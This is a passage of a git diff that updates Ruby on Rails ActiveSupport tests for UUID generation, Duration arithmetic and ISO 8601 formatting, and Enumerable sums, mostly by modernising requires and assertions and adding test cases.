     assert_equal(-1, DateTime.civil(1970) <=> Rational(4881177, 2))
   end
 
diff --git a/activesupport/test/core_ext/digest/uuid_test.rb b/activesupport/test/core_ext/digest/uuid_test.rb
index 866a03259a203..4811dfa90c3ae 100644
--- a/activesupport/test/core_ext/digest/uuid_test.rb
+++ b/activesupport/test/core_ext/digest/uuid_test.rb
@@ -1,24 +1,67 @@
-require "abstract_unit"
-require "active_support/core_ext/digest/uuid"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/digest"
 
 class DigestUUIDExt < ActiveSupport::TestCase
-  def test_v3_uuids
+  def test_constants
+    assert_equal "6ba7b810-9dad-11d1-80b4-00c04fd430c8", "%08x-%04x-%04x-%04x-%04x%08x" % Digest::UUID::DNS_NAMESPACE.unpack("NnnnnN")
+    assert_equal "6ba7b811-9dad-11d1-80b4-00c04fd430c8", "%08x-%04x-%04x-%04x-%04x%08x" % Digest::UUID::URL_NAMESPACE.unpack("NnnnnN")
+    assert_equal "6ba7b812-9dad-11d1-80b4-00c04fd430c8", "%08x-%04x-%04x-%04x-%04x%08x" % Digest::UUID::OID_NAMESPACE.unpack("NnnnnN")
+    assert_equal "6ba7b814-9dad-11d1-80b4-00c04fd430c8", "%08x-%04x-%04x-%04x-%04x%08x" % Digest::UUID::X500_NAMESPACE.unpack("NnnnnN")
+  end
+
+  def test_v3_uuids_with_rfc4122_namespaced_uuids_enabled
+    assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", Digest::UUID.uuid_v3("6BA7B810-9DAD-11D1-80B4-00C04FD430C8", "www.widgets.com")
+    assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", Digest::UUID.uuid_v3("6ba7b810-9dad-11d1-80b4-00c04fd430c8", "www.widgets.com")
     assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", Digest::UUID.uuid_v3(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+
+    assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", Digest::UUID.uuid_v3("6BA7B811-9DAD-11D1-80B4-00C04FD430C8", "http://www.widgets.com")
+    assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", Digest::UUID.uuid_v3("6ba7b811-9dad-11d1-80b4-00c04fd430c8", "http://www.widgets.com")
     assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", Digest::UUID.uuid_v3(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+
+    assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", Digest::UUID.uuid_v3("6BA7B812-9DAD-11D1-80B4-00C04FD430C8", "1.2.3")
+    assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", Digest::UUID.uuid_v3("6ba7b812-9dad-11d1-80b4-00c04fd430c8", "1.2.3")
     assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", Digest::UUID.uuid_v3(Digest::UUID::OID_NAMESPACE, "1.2.3")
+
+    assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", Digest::UUID.uuid_v3("6BA7B814-9DAD-11D1-80B4-00C04FD430C8", "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+    assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", Digest::UUID.uuid_v3("6ba7b814-9dad-11d1-80b4-00c04fd430c8", "cn=John Doe, ou=People, o=Acme, Inc., c=US")
     assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", Digest::UUID.uuid_v3(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+
+    assert_raise ArgumentError do
+      Digest::UUID.uuid_v3("A non-UUID string", "some value")
+    end
   end
 
-  def test_v5_uuids
+  def test_v5_uuids_with_rfc4122_namespaced_uuids_enabled
+    assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", Digest::UUID.uuid_v5("6BA7B810-9DAD-11D1-80B4-00C04FD430C8", "www.widgets.com")
+    assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", Digest::UUID.uuid_v5("6ba7b810-9dad-11d1-80b4-00c04fd430c8", "www.widgets.com")
     assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", Digest::UUID.uuid_v5(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+
+    assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", Digest::UUID.uuid_v5("6BA7B811-9DAD-11D1-80B4-00C04FD430C8", "http://www.widgets.com")
+    assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", Digest::UUID.uuid_v5("6ba7b811-9dad-11d1-80b4-00c04fd430c8", "http://www.widgets.com")
     assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", Digest::UUID.uuid_v5(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+
+    assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", Digest::UUID.uuid_v5("6BA7B812-9DAD-11D1-80B4-00C04FD430C8", "1.2.3")
+    assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", Digest::UUID.uuid_v5("6ba7b812-9dad-11d1-80b4-00c04fd430c8", "1.2.3")
     assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, "1.2.3")
+
+    assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", Digest::UUID.uuid_v5("6BA7B814-9DAD-11D1-80B4-00C04FD430C8", "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+    assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", Digest::UUID.uuid_v5("6ba7b814-9dad-11d1-80b4-00c04fd430c8", "cn=John Doe, ou=People, o=Acme, Inc., c=US")
     assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", Digest::UUID.uuid_v5(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+
+    assert_raise ArgumentError do
+      Digest::UUID.uuid_v5("A non-UUID string", "some value")
+    end
+  end
+
+  def test_nil_uuid
+    assert_equal "00000000-0000-0000-0000-000000000000", Digest::UUID.nil_uuid
   end
 
   def test_invalid_hash_class
     assert_raise ArgumentError do
-      Digest::UUID.uuid_from_hash(Digest::SHA2, Digest::UUID::OID_NAMESPACE, "1.2.3")
+      Digest::UUID.uuid_from_hash(OpenSSL::Digest::SHA256, Digest::UUID::OID_NAMESPACE, "1.2.3")
     end
   end
 end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 6a275d1d5b861..ef132a774c3d7 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -1,8 +1,11 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/inflector"
 require "active_support/time"
 require "active_support/json"
-require "time_zone_test_helpers"
+require_relative "../time_zone_test_helpers"
+require "yaml"
 
 class DurationTest < ActiveSupport::TestCase
   include TimeZoneTestHelpers
@@ -13,52 +16,85 @@ def test_is_a
     assert_kind_of ActiveSupport::Duration, d
     assert_kind_of Numeric, d
     assert_kind_of Integer, d
-    assert !d.is_a?(Hash)
+    assert_not d.is_a?(Hash)
 
     k = Class.new
     class << k; undef_method :== end
-    assert !d.is_a?(k)
+    assert_not d.is_a?(k)
   end
 
   def test_instance_of
-    assert 1.minute.instance_of?(1.class)
+    assert 1.minute.instance_of?(Integer)
     assert 2.days.instance_of?(ActiveSupport::Duration)
-    assert !3.second.instance_of?(Numeric)
+    assert_not 3.second.instance_of?(Numeric)
   end
 
   def test_threequals
     assert ActiveSupport::Duration === 1.day
-    assert !(ActiveSupport::Duration === 1.day.to_i)
-    assert !(ActiveSupport::Duration === "foo")
+    assert_not (ActiveSupport::Duration === 1.day.to_i)
+    assert_not (ActiveSupport::Duration === "foo")
   end
 
   def test_equals
     assert 1.day == 1.day
     assert 1.day == 1.day.to_i
     assert 1.day.to_i == 1.day
-    assert !(1.day == "foo")
+    assert_not (1.day == "foo")
   end
 
   def test_to_s
     assert_equal "1", 1.second.to_s
   end
 
-  def test_eql
-    rubinius_skip "Rubinius' #eql? definition relies on #instance_of? " \
-                  "which behaves oddly for the sake of backward-compatibility."
+  def test_in_seconds
+    assert_equal 86400.0, 1.day.in_seconds
+    assert_equal 1.week.to_i, 1.week.in_seconds
+  end
+
+  def test_in_minutes
+    assert_in_delta 1440.0, 1.day.in_minutes
+    assert_in_delta 0.5, 30.seconds.in_minutes
+  end
+
+  def test_in_hours
+    assert_in_delta 24.0, 1.day.in_hours
+    assert_in_delta 336.0, 2.weeks.in_hours
+  end
+
+  def test_in_days
+    assert_in_delta 0.5, 12.hours.in_days
+    assert_in_delta 30.437, 1.month.in_days
+  end
+
+  def test_in_weeks
+    assert_in_delta 8.696, 2.months.in_weeks
+    assert_in_delta 52.178, 1.year.in_weeks
+  end
+
+  def test_in_months
+    assert_in_delta 2.07, 9.weeks.in_months
+    assert_in_delta 12.0, 1.year.in_months
+  end
+
+  def test_in_years
+    assert_in_delta 0.082, 30.days.in_years
+    assert_in_delta 1.0, 365.days.in_years
+  end
 
+  def test_eql
     assert 1.minute.eql?(1.minute)
     assert 1.minute.eql?(60.seconds)
     assert 2.days.eql?(48.hours)
-    assert !1.second.eql?(1)
-    assert !1.eql?(1.second)
+    assert_not 1.second.eql?(1)
+    assert_not 1.eql?(1.second)
     assert 1.minute.eql?(180.seconds - 2.minutes)
-    assert !1.minute.eql?(60)
-    assert !1.minute.eql?("foo")
+    assert_not 1.minute.eql?(60)
+    assert_not 1.minute.eql?("foo")
   end
 
   def test_inspect
     assert_equal "0 seconds",                       0.seconds.inspect
+    assert_equal "0 days",                          0.days.inspect
     assert_equal "1 month",                         1.month.inspect
     assert_equal "1 month and 1 day",               (1.month + 1.day).inspect
     assert_equal "6 months and -2 days",            (6.months - 2.days).inspect
@@ -69,13 +105,16 @@ def test_inspect
     assert_equal "7 days",                          7.days.inspect
     assert_equal "1 week",                          1.week.inspect
     assert_equal "2 weeks",                         1.fortnight.inspect
+    assert_equal "0 seconds",                       (10 % 5.seconds).inspect
+    assert_equal "10 minutes",                      (10.minutes + 0.seconds).inspect
+    assert_equal "3600 seconds",                    (1.day / 24).inspect
   end
 
-  def test_inspect_locale
+  def test_inspect_ignores_locale
     current_locale = I18n.default_locale
     I18n.default_locale = :de
     I18n.backend.store_translations(:de, support: { array: { last_word_connector: " und " } })
-    assert_equal "10 years, 1 month und 1 day", (10.years + 1.month + 1.day).inspect
+    assert_equal "10 years, 1 month, and 1 day", (10.years + 1.month + 1.day).inspect
   ensure
     I18n.default_locale = current_locale
   end
@@ -84,16 +123,111 @@ def test_minus_with_duration_does_not_break_subtraction_of_date_from_date
     assert_nothing_raised { Date.today - Date.today }
   end
 
+  def test_unary_plus
+    assert_equal (+ 1.second), 1.second
+    assert_instance_of ActiveSupport::Duration, + 1.second
+  end
+
+  def test_plus
+    assert_equal 2.seconds, 1.second + 1.second
+    assert_instance_of ActiveSupport::Duration, 1.second + 1.second
+    assert_equal 2.seconds, 1.second + 1
+    assert_instance_of ActiveSupport::Duration, 1.second + 1
+  end
+
+  def test_minus
+    assert_equal 1.second, 2.seconds - 1.second
+    assert_instance_of ActiveSupport::Duration, 2.seconds - 1.second
+    assert_equal 1.second, 2.seconds - 1
+    assert_instance_of ActiveSupport::Duration, 2.seconds - 1
+    assert_equal 1.second, 2 - 1.second
+    assert_instance_of ActiveSupport::Duration, 2.seconds - 1
+  end
+
+  def test_multiply
+    assert_equal 7.days, 1.day * 7
+    assert_instance_of ActiveSupport::Duration, 1.day * 7
+    assert_equal 86400, 1.day * 1.second
+  end
+
+  def test_divide
+    assert_equal 1.day, 7.days / 7
+    assert_instance_of ActiveSupport::Duration, 7.days / 7
+
+    assert_equal 1.hour, 1.day / 24
+    assert_instance_of ActiveSupport::Duration, 1.day / 24
+
+    assert_equal 24, 86400 / 1.hour
+    assert_kind_of Integer, 86400 / 1.hour
+
+    assert_equal 24, 1.day / 1.hour
+    assert_kind_of Integer, 1.day / 1.hour
+
+    assert_equal 1, 1.day / 1.day
+    assert_kind_of Integer, 1.day / 1.hour
+  end
+
+  def test_modulo
+    assert_equal 1.minute, 5.minutes % 120
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 120
+
+    assert_equal 1.minute, 5.minutes % 2.minutes
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 2.minutes
+
+    assert_equal 1.minute, 5.minutes % 120.seconds
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 120.seconds
+
+    assert_equal 5.minutes, 5.minutes % 1.hour
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 1.hour
+
+    assert_equal 1.day, 36.days % 604800
+    assert_instance_of ActiveSupport::Duration, 36.days % 604800
+
+    assert_equal 1.day, 36.days % 7.days
+    assert_instance_of ActiveSupport::Duration, 36.days % 7.days
+
+    assert_equal 800.seconds, 8000 % 1.hour
+    assert_instance_of ActiveSupport::Duration, 8000 % 1.hour
+
+    assert_equal 1.month, 13.months % 1.year
+    assert_instance_of ActiveSupport::Duration, 13.months % 1.year
+  end
+
+  def test_date_added_with_zero_days
+    assert_equal Date.civil(2017, 1, 1), Date.civil(2017, 1, 1) + 0.days
+    assert_instance_of Date, Date.civil(2017, 1, 1) + 0.days
+  end
+
+  def test_date_added_with_multiplied_duration
+    assert_equal Date.civil(2017, 1, 3), Date.civil(2017, 1, 1) + 1.day * 2
+    assert_instance_of Date, Date.civil(2017, 1, 1) + 1.day * 2
+  end
+
+  def test_date_added_with_multiplied_duration_larger_than_one_month
+    assert_equal Date.civil(2017, 2, 15), Date.civil(2017, 1, 1) + 1.day * 45
+    assert_instance_of Date, Date.civil(2017, 1, 1) + 1.day * 45
+  end
+
+  def test_date_added_with_divided_duration
+    assert_equal Date.civil(2017, 1, 3), Date.civil(2017, 1, 1) + 4.days / 2
+    assert_instance_of Date, Date.civil(2017, 1, 1) + 4.days / 2
+  end
+
+  def test_date_added_with_divided_duration_larger_than_one_month
+    assert_equal Date.civil(2017, 2, 15), Date.civil(2017, 1, 1) + 90.days / 2
+    assert_instance_of Date, Date.civil(2017, 1, 1) + 90.days / 2
+  end
+
   def test_plus_with_time
     assert_equal 1 + 1.second, 1.second + 1, "Duration + Numeric should == Numeric + Duration"
   end
 
   def test_time_plus_duration_returns_same_time_datatype
-    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Moscow"] , Time.utc(2016, 4, 28, 00, 45))
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Moscow"], Time.utc(2016, 4, 28, 00, 45))
     now = Time.now.utc
     %w( second minute hour day week month year ).each do |unit|
-      assert_equal((now + 1.send(unit)).class, Time, "Time + 1.#{unit} must be Time")
-      assert_equal((twz + 1.send(unit)).class, ActiveSupport::TimeWithZone, "TimeWithZone + 1.#{unit} must be TimeWithZone")
+      assert_equal((now + 1.public_send(unit)).class, Time, "Time + 1.#{unit} must be Time")
+      assert_equal((twz + 1.public_send(unit)).class, ActiveSupport::TimeWithZone, "TimeWithZone + 1.#{unit} must be TimeWithZone")
     end
   end
 
@@ -117,7 +251,9 @@ def test_fractional_days
   def test_since_and_ago
     t = Time.local(2000)
     assert_equal t + 1, 1.second.since(t)
+    assert_equal t + 1, (1.minute / 60).since(t)
     assert_equal t - 1, 1.second.ago(t)
+    assert_equal t - 1, (1.minute / 60).ago(t)
   end
 
   def test_since_and_ago_without_argument
@@ -179,6 +315,19 @@ def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set
     Time.zone = nil
   end
 
+  def test_before_and_after
+    t = Time.local(2000)
+    assert_equal t + 1, 1.second.after(t)
+    assert_equal t - 1, 1.second.before(t)
+  end
+
+  def test_before_and_after_without_argument
+    Time.stub(:now, Time.local(2000)) do
+      assert_equal Time.now - 1.second, 1.second.before
+      assert_equal Time.now + 1.second, 1.second.after
+    end
+  end
+
   def test_adding_hours_across_dst_boundary
     with_env_tz "CET" do
       assert_equal Time.local(2009, 3, 29, 0, 0, 0) + 24.hours, Time.local(2009, 3, 30, 1, 0, 0)
@@ -237,6 +386,168 @@ def test_comparable
     assert_equal(1, (61 <=> 1.minute))
   end
 
+  def test_implicit_coercion
+    assert_equal 2.days, 2 * 1.day
+    assert_instance_of ActiveSupport::Duration, 2 * 1.day
+    assert_equal Time.utc(2017, 1, 3), Time.utc(2017, 1, 1) + 2 * 1.day
+    assert_equal Date.civil(2017, 1, 3), Date.civil(2017, 1, 1) + 2 * 1.day
+  end
+
+  def test_scalar_coerce
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+    assert_instance_of ActiveSupport::Duration::Scalar, 10 + scalar
+    assert_instance_of ActiveSupport::Duration, 10.seconds + scalar
+  end
+
+  def test_scalar_delegations
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+    assert_kind_of Float, scalar.to_f
+    assert_kind_of Integer, scalar.to_i
+    assert_kind_of String, scalar.to_s
+  end
+
+  def test_scalar_unary_minus
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal(-10, -scalar)
+    assert_instance_of ActiveSupport::Duration::Scalar, -scalar
+  end
+
+  def test_scalar_compare
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal(1, scalar <=> 5)
+    assert_equal(0, scalar <=> 10)
+    assert_equal(-1, scalar <=> 15)
+    assert_nil(scalar <=> "foo")
+  end
+
+  def test_scalar_plus
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 20, 10 + scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 10 + scalar
+    assert_equal 20, scalar + 10
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar + 10
+    assert_equal 20, 10.seconds + scalar
+    assert_instance_of ActiveSupport::Duration, 10.seconds + scalar
+    assert_equal 20, scalar + 10.seconds
+    assert_instance_of ActiveSupport::Duration, scalar + 10.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar + "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_plus_parts
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal({ days: 1, seconds: 10 }, (scalar + 1.day).parts)
+    assert_equal({ days: -1, seconds: 10 }, (scalar + -1.day).parts)
+  end
+
+  def test_scalar_minus
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 10, 20 - scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 20 - scalar
+    assert_equal 5, scalar - 5
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar - 5
+    assert_equal 10, 20.seconds - scalar
+    assert_instance_of ActiveSupport::Duration, 20.seconds - scalar
+    assert_equal 5, scalar - 5.seconds
+    assert_instance_of ActiveSupport::Duration, scalar - 5.seconds
+
+    assert_equal({ days: -1, seconds: 10 }, (scalar - 1.day).parts)
+    assert_equal({ days: 1, seconds: 10 }, (scalar - -1.day).parts)
+
+    exception = assert_raises(TypeError) do
+      scalar - "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_minus_parts
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal({ days: -1, seconds: 10 }, (scalar - 1.day).parts)
+    assert_equal({ days: 1, seconds: 10 }, (scalar - -1.day).parts)
+  end
+
+  def test_scalar_multiply
+    scalar = ActiveSupport::Duration::Scalar.new(5)
+
+    assert_equal 10, 2 * scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 2 * scalar
+    assert_equal 10, scalar * 2
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar * 2
+    assert_equal 10, 2.seconds * scalar
+    assert_instance_of ActiveSupport::Duration, 2.seconds * scalar
+    assert_equal 10, scalar * 2.seconds
+    assert_instance_of ActiveSupport::Duration, scalar * 2.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar * "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_multiply_parts
+    scalar = ActiveSupport::Duration::Scalar.new(1)
+    assert_equal({ days: 2 }, (scalar * 2.days).parts)
+    assert_equal(172800, (scalar * 2.days).value)
+    assert_equal({ days: -2 }, (scalar * -2.days).parts)
+    assert_equal(-172800, (scalar * -2.days).value)
+  end
+
+  def test_scalar_divide
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 10, 100 / scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 100 / scalar
+    assert_equal 5, scalar / 2
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar / 2
+    assert_equal 10, 100.seconds / scalar
+    assert_instance_of ActiveSupport::Duration, 100.seconds / scalar
+    assert_equal 5, scalar / 2.seconds
+    assert_kind_of Integer, scalar / 2.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar / "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_modulo
+    scalar = ActiveSupport::Duration::Scalar.new(10)
+
+    assert_equal 1, 31 % scalar
+    assert_instance_of ActiveSupport::Duration::Scalar, 31 % scalar
+    assert_equal 1, scalar % 3
+    assert_instance_of ActiveSupport::Duration::Scalar, scalar % 3
+    assert_equal 1, 31.seconds % scalar
+    assert_instance_of ActiveSupport::Duration, 31.seconds % scalar
+    assert_equal 1, scalar % 3.seconds
+    assert_instance_of ActiveSupport::Duration, scalar % 3.seconds
+
+    exception = assert_raises(TypeError) do
+      scalar % "foo"
+    end
+
+    assert_equal "no implicit conversion of String into ActiveSupport::Duration::Scalar", exception.message
+  end
+
+  def test_scalar_modulo_parts
+    scalar = ActiveSupport::Duration::Scalar.new(82800)
+    assert_equal({ hours: 1 }, (scalar % 2.hours).parts)
+    assert_equal(3600, (scalar % 2.hours).value)
+  end
+
   def test_twelve_months_equals_one_year
     assert_equal 12.months, 1.year
   end
@@ -299,14 +610,19 @@ def test_iso8601_output
     expectations = [
       ["P1Y",           1.year                           ],
       ["P1W",           1.week                           ],
+      ["P4W",           4.week                           ],
+      ["P1Y7D",         1.year + 1.week                  ],
+      ["P1Y1M21D",      1.year + 1.month + 3.week        ],
       ["P1Y1M",         1.year + 1.month                 ],
       ["P1Y1M1D",       1.year + 1.month + 1.day         ],
-      ["-P1Y1D",        -1.year - 1.day                  ],
+      ["P-1Y-1D",       -1.year - 1.day                  ],
       ["P1Y-1DT-1S",    1.year - 1.day - 1.second        ], # Parts with different signs are exists in PostgreSQL interval datatype.
       ["PT1S",          1.second                         ],
       ["PT1.4S",        (1.4).seconds                    ],
       ["P1Y1M1DT1H",    1.year + 1.month + 1.day + 1.hour],
       ["PT0S",          0.minutes                        ],
+      ["PT-0.2S",       (-0.2).seconds                   ],
+      ["PT1000000S",    1_000_000.seconds                ],
     ]
     expectations.each do |expected_output, duration|
       assert_equal expected_output, duration.iso8601, expected_output.inspect
@@ -334,7 +650,7 @@ def test_iso8601_output_precision
 
   def test_iso8601_output_and_reparsing
     patterns = %w[
-      P1Y P0.5Y P0,5Y P1Y1M P1Y0.5M P1Y0,5M P1Y1M1D P1Y1M0.5D P1Y1M0,5D P1Y1M1DT1H P1Y1M1DT0.5H P1Y1M1DT0,5H P1W +P1Y -P1Y
+      P1Y P0.5Y P0,5Y P1Y1M P1Y0.5M P1Y0,5M P1Y1M1D P1Y1M0.5D P1Y1M0,5D P1Y1M1DT1H P1Y1M1DT0.5H P1Y1M1DT0,5H P1W +P1Y -P1Y P-1Y
       P1Y1M1DT1H1M P1Y1M1DT1H0.5M P1Y1M1DT1H0,5M P1Y1M1DT1H1M1S P1Y1M1DT1H1M1.0S P1Y1M1DT1H1M1,0S P-1Y-2M3DT-4H-5M-6S
     ]
     # That could be weird, but if we parse P1Y1M0.5D and output it to ISO 8601, we'll get P1Y1MT12.0H.
@@ -394,6 +710,56 @@ def test_adding_durations_do_not_hold_prior_states
     assert_equal time + d1, time + d2
   end
 
+  def test_durations_survive_yaml_serialization
+    payload = YAML.dump(10.minutes)
+    d1 = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
+    assert_equal 600, d1.to_i
+    assert_equal 660, (d1 + 60).to_i
+  end
+
+  def test_string_build_raises_error
+    error = assert_raises(TypeError) do
+      ActiveSupport::Duration.build("9")
+    end
+
+    assert_equal "can't build an ActiveSupport::Duration from a String", error.message
+  end
+
+  def test_non_numeric_build_raises_error
+    error = assert_raises(TypeError) do
+      ActiveSupport::Duration.build(nil)
+    end
+
+    assert_equal "can't build an ActiveSupport::Duration from a NilClass", error.message
+  end
+
+  def test_variable
+    assert_not 12.seconds.variable?
+    assert_not 12.minutes.variable?
+    assert_not 12.hours.variable?
+
+    assert_predicate 12.days, :variable?
+    assert_predicate 12.weeks, :variable?
+    assert_predicate 12.months, :variable?
+    assert_predicate 12.years, :variable?
+
+    assert_not (12.hours + 12.minutes).variable?
+
+    assert_predicate (12.hours + 1.day), :variable?
+    assert_predicate (1.day + 12.hours), :variable?
+  end
+
+  def test_duration_symmetry
+    time = Time.parse("Dec 7, 2021")
+    expected_time = Time.parse("2021-12-06 23:59:59")
+
+    assert_equal expected_time, time + -1.second
+    assert_equal expected_time, time + ActiveSupport::Duration.build(1) * -1
+    assert_equal expected_time, time + -ActiveSupport::Duration.build(1)
+    assert_equal expected_time, time + ActiveSupport::Duration::Scalar.new(-1)
+    assert_equal expected_time, time + ActiveSupport::Duration.build(-1)
+  end
+
   private
     def eastern_time_zone
       if Gem.win_platform?
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
index 4f1ab993b8f62..ea702d73a9cf8 100644
--- a/activesupport/test/core_ext/enumerable_test.rb
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/array"
 require "active_support/core_ext/enumerable"
 
@@ -10,6 +12,26 @@ def +(p) self.class.new(price + p.price) end
 end
 
 class EnumerableTests < ActiveSupport::TestCase
+  class Money
+    attr_reader :value
+
+    def initialize(value)
+      @value = value
+    end
+
+    def +(other)
+      Money.new(value + other.value)
+    end
+
+    def coerce(other)
+      [Money.new(other), self]
+    end
+
+    def ==(other)
+      other.value == value
+    end
+  end
+
   class GenericEnumerable
     include Enumerable
 
@@ -17,8 +39,8 @@ def initialize(values = [1, 2, 3])
       @values = values
     end
 
-    def each
-      @values.each { |v| yield v }
+    def each(&block)
+      @values.each(&block)
     end
   end
 
@@ -27,22 +49,54 @@ def assert_typed_equal(e, v, cls, msg = nil)
     assert_equal(e, v, msg)
   end
 
+  def test_minimum
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+    assert_equal 5, payments.minimum(:price)
+  end
+
+  def test_minimum_with_empty_enumerable
+    payments = GenericEnumerable.new([])
+    assert_nil payments.minimum(:price)
+  end
+
+  def test_maximum
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+    assert_equal 15, payments.maximum(:price)
+  end
+
+  def test_maximum_with_empty_enumerable
+    payments = GenericEnumerable.new([])
+    assert_nil payments.maximum(:price)
+  end
+
   def test_sums
     enum = GenericEnumerable.new([5, 15, 10])
     assert_equal 30, enum.sum
     assert_equal 60, enum.sum { |i| i * 2 }
 
     enum = GenericEnumerable.new(%w(a b c))
-    assert_equal "abc", enum.sum
-    assert_equal "aabbcc", enum.sum { |i| i * 2 }
+    assert_equal "abc", enum.sum("")
+    assert_equal "aabbcc", enum.sum("") { |i| i * 2 }
+    assert_raises(TypeError) do
+      enum.sum
+    end
+    assert_raises(TypeError) do
+      enum.sum { |i| i * 2 }
+    end
 
     payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
     assert_equal 30, payments.sum(&:price)
     assert_equal 60, payments.sum { |p| p.price * 2 }
 
     payments = GenericEnumerable.new([ SummablePayment.new(5), SummablePayment.new(15) ])
-    assert_equal SummablePayment.new(20), payments.sum
-    assert_equal SummablePayment.new(20), payments.sum { |p| p }
+    assert_raises(TypeError) do
+      payments.sum
+    end
+    assert_equal SummablePayment.new(20), payments.sum(SummablePayment.new(0))
+    assert_equal SummablePayment.new(20), payments.sum(SummablePayment.new(0)) { |p| p }
+    assert_raises(TypeError) do
+      payments.sum { |p| p }
+    end
 
     sum = GenericEnumerable.new([3, 5.quo(1)]).sum
     assert_typed_equal(8, sum, Rational)
@@ -83,6 +137,9 @@ def test_nil_sums
     expected_raise = TypeError
 
     assert_raise(expected_raise) { GenericEnumerable.new([5, 15, nil]).sum }
+    assert_raises(expected_raise) do
+      [nil].sum
+    end
 
     payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10), Payment.new(nil) ])
     assert_raise(expected_raise) { payments.sum(&:price) }
@@ -92,7 +149,9 @@ def test_nil_sums
 
   def test_empty_sums
     assert_equal 0, GenericEnumerable.new([]).sum
+    assert_equal [], GenericEnumerable.new([]).sum([])
     assert_equal 0, GenericEnumerable.new([]).sum { |i| i + 10 }
+    assert_equal [], GenericEnumerable.new([]).sum([]) { |i| i + 10 }
     assert_equal Payment.new(0), GenericEnumerable.new([]).sum(Payment.new(0))
     assert_typed_equal 0.0, GenericEnumerable.new([]).sum(0.0), Float
   end
@@ -102,7 +161,10 @@ def test_range_sums
     assert_equal 10, (1..4).sum
     assert_equal 10, (1..4.5).sum
     assert_equal 6, (1...4).sum
-    assert_equal "abc", ("a".."c").sum
+    assert_raises(TypeError) do
+      ("a".."c").sum
+    end
